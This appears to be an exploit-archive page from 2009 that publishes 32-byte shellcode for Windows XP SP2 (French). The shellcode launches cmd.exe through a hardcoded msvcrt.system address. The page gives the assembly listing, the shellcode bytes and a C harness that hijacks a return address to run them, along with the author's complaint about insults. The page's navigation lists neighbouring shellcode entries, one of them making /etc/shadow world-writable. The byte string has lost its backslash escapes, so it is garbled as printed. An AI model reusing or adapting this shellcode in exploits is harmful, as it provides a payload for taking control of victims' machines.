[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : win32 XP sp2 (FR) Sellcode cmd.exe 32 bytes
# Published : 2009-02-20
# Author : Stack
# Previous Title : linux/x86 chmod("/etc/shadow",666) & exit(0) 30 bytes
# Next Title : linux/x86 killall5 shellcode 34 bytes
/*
windows/XP sp2 (FR) Sellcode cmd.exe 32 bytes
Author : Mountassif Moad
Big Thnx : Houssamix & SimO-s0fT
Changed by : Stack
Description : It is 32 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 FR
My first original shellcode Here http://www.milw0rm.com/shellcode/7971
because i receive every day full message who insult me (you'r lamer - fucker ->
you dont understand anything abouts sec ) infinity of insult
and the last time i receive an message have => i make full error in my first shelcode & in the end he
insult my mother & me (shit)
so i tell all people when want insult anyone remembers we are just human not angel
euuuh : i'm decide to write another small shellcode this time just for fun (32 bytes xd )
Assembly Code : this time is not a secret (:@)
00402000 8BEC MOV EBP,ESP
00402002 33FF XOR EDI,EDI
00402004 57 PUSH EDI
00402005 C645 FC 63 MOV BYTE PTR SS:[EBP-4],63
00402009 C645 FD 6D MOV BYTE PTR SS:[EBP-3],6D
0040200D C645 FE 64 MOV BYTE PTR SS:[EBP-2],64
00402011 C645 F8 01 MOV BYTE PTR SS:[EBP-8],1
00402015 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
00402018 50 PUSH EAX
00402019 B8 C793BF77 MOV EAX,msvcrt.system (i notice this for work in other machine)
0040201E FFD0 CALL EAX
*/
#include "stdio.h"
unsigned char shellcode[] =
"x8BxECx33xFFx57"
"xC6x45xFCx63xC6x45"
"xFDx6DxC6x45xFEx64"
"xC6x45xF8x01x8D"
"x45xFCx50xB8xC7x93"
"xBFx77xFFxD0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %dn",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}
// www.Syue.com [2009-02-20]